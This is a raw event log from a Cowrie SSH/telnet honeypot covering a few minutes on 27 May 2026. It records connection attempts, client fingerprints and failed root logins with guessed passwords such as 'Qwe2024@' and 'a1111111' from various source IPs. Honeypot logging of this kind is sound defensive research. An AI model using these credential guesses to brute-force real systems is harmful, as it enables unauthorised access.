{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32710,"dst_ip":"10.17.0.5","dst_port":23,"session":"c968e95e0afe","protocol":"telnet","message":"New connection: 34.22.185.74:32710 (10.17.0.5:23) [session: c968e95e0afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.097214Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6199e5bbc2bb","protocol":"telnet","message":"New connection: 34.22.185.74:32714 (10.17.0.5:23) [session: 6199e5bbc2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.251382Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8352","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8352] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.256970Z","src_ip":"34.22.185.74","session":"6199e5bbc2bb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"142536a","message":"login attempt [root/142536a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.378613Z","src_ip":"103.82.20.28","session":"dc0dfdd3cebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4ebe326823","protocol":"telnet","message":"New connection: 34.22.185.74:32722 (10.17.0.5:23) [session: ca4ebe326823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.409544Z"}
{"eventid":"cowrie.session.closed","duration":0.004925251007080078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:28.414346Z","src_ip":"34.22.185.74","session":"ca4ebe326823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:29.198659Z","src_ip":"123.58.209.58","session":"cdaac9d14d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:29.644428Z","src_ip":"103.82.20.28","session":"dc0dfdd3cebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.9392063617706299,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.190495Z","src_ip":"34.22.185.74","session":"6199e5bbc2bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.105895519256592,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.202940Z","src_ip":"34.22.185.74","session":"c968e95e0afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4249610900878906,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.206905Z","src_ip":"34.22.185.74","session":"4fe03bc7df3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.58712100982666,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.213998Z","src_ip":"34.22.185.74","session":"4529a8ae4aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9037957191467285,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.218347Z","src_ip":"34.22.185.74","session":"f82b18d60d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.062718629837036,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.222995Z","src_ip":"34.22.185.74","session":"ec02b8e46020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.75498628616333,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.227359Z","src_ip":"34.22.185.74","session":"c960fd9df32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.232614040374756,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.235412Z","src_ip":"34.22.185.74","session":"e1c1db0b66f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.394681215286255,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.242101Z","src_ip":"34.22.185.74","session":"9a9c427d6607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5581932067871094,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.248979Z","src_ip":"34.22.185.74","session":"db04dbad1e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7376155853271484,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.273038Z","src_ip":"34.22.185.74","session":"b22e74ea60c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.906367063522339,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.281009Z","src_ip":"34.22.185.74","session":"9be59bc0df73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.0731201171875,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.290624Z","src_ip":"34.22.185.74","session":"e21e3f16292b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.245453834533691,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.304938Z","src_ip":"34.22.185.74","session":"2feef919594f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.434676885604858,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.334517Z","src_ip":"34.22.185.74","session":"2fec91a18811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5959861278533936,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.339752Z","src_ip":"34.22.185.74","session":"792a0251426f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.914663314819336,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.345415Z","src_ip":"34.22.185.74","session":"ffa1978ccdd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.151761054992676,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.350583Z","src_ip":"34.22.185.74","session":"705511fd28e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.318480968475342,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.355304Z","src_ip":"34.22.185.74","session":"c4285c03fb49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.484134912490845,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.359365Z","src_ip":"34.22.185.74","session":"4999b6302db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.646714210510254,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.364569Z","src_ip":"34.22.185.74","session":"a7fe25735c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.807849407196045,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.369266Z","src_ip":"34.22.185.74","session":"19e8069d669e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.127259254455566,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.376378Z","src_ip":"34.22.185.74","session":"5a49c5555085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.978259086608887,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.383375Z","src_ip":"34.22.185.74","session":"47a3d12fb3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.29469108581543,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.387998Z","src_ip":"34.22.185.74","session":"1a86703de8c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.461316823959351,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.393782Z","src_ip":"34.22.185.74","session":"bb00651c86c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.7959201335907,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.401315Z","src_ip":"34.22.185.74","session":"7557df2a5909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51117277145386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:30.421969Z","src_ip":"69.4.83.194","session":"c8e39b1c4618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":49952,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4b2dd5750a","protocol":"ssh","message":"New connection: 103.25.47.94:49952 (159.203.135.109:22) [session: 6f4b2dd5750a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:33.522397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:33.527623Z","src_ip":"103.25.47.94","session":"6f4b2dd5750a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:33.786088Z","src_ip":"103.25.47.94","session":"6f4b2dd5750a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe2024@","message":"login attempt [root/Qwe2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:34.852125Z","src_ip":"103.25.47.94","session":"6f4b2dd5750a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:36.115157Z","src_ip":"103.25.47.94","session":"6f4b2dd5750a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39974,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a2c268b5670","protocol":"ssh","message":"New connection: 193.228.128.84:39974 (159.203.135.109:22) [session: 5a2c268b5670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:47.861039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:47.867288Z","src_ip":"193.228.128.84","session":"5a2c268b5670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.5728542804718,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:47.890809Z","src_ip":"178.128.93.180","session":"a825153914d8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:47.970428Z","src_ip":"193.228.128.84","session":"5a2c268b5670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12131213","message":"login attempt [root/12131213] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:48.286072Z","src_ip":"193.228.128.84","session":"5a2c268b5670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:49.391596Z","src_ip":"193.228.128.84","session":"5a2c268b5670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.486043214797974,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:57.714544Z","src_ip":"69.4.83.194","session":"3b3f90618b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.61.94.82","src_port":47859,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bdd1a068fe2","protocol":"telnet","message":"New connection: 70.61.94.82:47859 (10.17.0.5:23) [session: 2bdd1a068fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:08.523910Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"6080811d3297","protocol":"telnet","message":"New connection: 79.139.59.21:50378 (159.203.135.109:23) [session: 6080811d3297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:10.153912Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37760,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7d75d6c74e1","protocol":"telnet","message":"New connection: 69.4.83.194:37760 (159.203.135.109:23) [session: c7d75d6c74e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:15.243761Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"2874050de2e7","protocol":"ssh","message":"New connection: 103.173.227.57:50362 (10.17.0.5:22) [session: 2874050de2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:17.399698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:17.405125Z","src_ip":"103.173.227.57","session":"2874050de2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:17.653245Z","src_ip":"103.173.227.57","session":"2874050de2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2525","message":"login attempt [root/2525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:18.405201Z","src_ip":"103.173.227.57","session":"2874050de2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.10951280593872,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:18.758681Z","src_ip":"178.128.93.180","session":"c0d788372e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:19.657478Z","src_ip":"103.173.227.57","session":"2874050de2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.583679437637329,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:22.107454Z","src_ip":"70.61.94.82","session":"2bdd1a068fe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":42448,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca03a5ed3ba8","protocol":"ssh","message":"New connection: 182.191.77.164:42448 (10.17.0.5:22) [session: ca03a5ed3ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:29.799886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:29.805288Z","src_ip":"182.191.77.164","session":"ca03a5ed3ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:30.023194Z","src_ip":"182.191.77.164","session":"ca03a5ed3ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1111111","message":"login attempt [root/a1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:30.923970Z","src_ip":"182.191.77.164","session":"ca03a5ed3ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:32.145236Z","src_ip":"182.191.77.164","session":"ca03a5ed3ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41512,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4b816f82b9","protocol":"ssh","message":"New connection: 176.32.39.21:41512 (10.17.0.5:22) [session: 5a4b816f82b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:35.367227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:35.373821Z","src_ip":"176.32.39.21","session":"5a4b816f82b9","protocol":"ssh"}
